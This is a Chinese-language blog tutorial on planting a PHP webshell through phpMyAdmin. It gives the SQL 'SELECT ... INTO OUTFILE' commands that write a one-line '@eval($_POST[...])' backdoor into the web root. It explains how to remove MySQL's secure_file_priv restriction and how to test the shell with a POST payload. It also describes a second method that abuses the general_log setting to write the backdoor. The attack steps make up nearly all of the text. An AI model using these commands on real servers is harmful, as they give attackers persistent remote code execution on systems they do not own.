侧边栏

通过phpMyAdmin写入MySQL,获取webshell

通过phpMyAdmin写入MySQL,获取webshell

在SQL的控制台中输入

进入http://127.0.0.1/phpMyAdmin,并在SQL中输入如下命令

select '<?php  @eval($_POST[1]);?>' into outfile 'D:/phpstudy_pro/WWW/code/sql/shell.php';

发现如下报错:

修改配置

去掉导入的目录限制

可修改mysql配置文件(Windows下为my.ini, Linux下的my.cnf),在[mysqld]下面,查看是否有:

secure_file_priv =

如上这样一行内容,如果没有,则手动添加。如果存在如下行:

secure_file_priv = /home 

这样一行内容,表示限制为/home文件夹。而如下行:

secure_file_priv =

这样一行内容,表示不限制目录,等号一定要有,否则mysql无法启动。

修改完配置文件后,重启mysql生效。

重启后:

关闭:service mysqld stop

启动:service mysqld start

再次输入

select '<?php  @eval($_POST[1]);?>' into outfile 'D:/phpstudy_pro/WWW/code/sql/shell.php';

 查看木马是否可以执行

同过访问木马的地址,并通过 hackbar插件,在post中输入 1=phpinfo(),查看此木马是否可以使用;

 其他方式写入shell:https://blog.csdn.net/weixin_39872872/article/details/112589789

复制代码
一,在网站根目录下
①查select @@basedir;
②利用into outfile进行写
select '<?php eval($_POST[cmd]); ?>' into outfile 'C:/phpStudy/MySQL/cc.php';#网站的根目录

二,利用mysql日志写文件
general log 指的是日志保存状态,ON代表开启 OFF代表关闭;
general log file 指的是日志的保存路径。

show variables like '%general%';#查看日志状态-->即可爆出日志的保存状态和保存路径
SET GLOBAL general_log='on'
SET GLOBAL general_log_file='根目录'#即设置日志保存的根目录的地址-->即典型你要写马的位置
SELECT '<?php eval($_POST["cmd"]);?>'#执行语句-->即在日志文件中会直接生成
复制代码
posted @   菜鸟-传奇  阅读(856)  评论(0编辑  收藏  举报
编辑推荐:
· 一个奇形怪状的面试题:Bean中的CHM要不要加volatile?
· [.NET]调用本地 Deepseek 模型
· 一个费力不讨好的项目,让我损失了近一半的绩效!
· .NET Core 托管堆内存泄露/CPU异常的常见思路
· PostgreSQL 和 SQL Server 在统计信息维护中的关键差异
阅读排行:
· DeepSeek “源神”启动!「GitHub 热点速览」
· 微软正式发布.NET 10 Preview 1:开启下一代开发框架新篇章
· 我与微信审核的“相爱相杀”看个人小程序副业
· C# 集成 DeepSeek 模型实现 AI 私有化(本地部署与 API 调用教程)
· spring官宣接入deepseek,真的太香了~
点击右上角即可分享
微信分享提示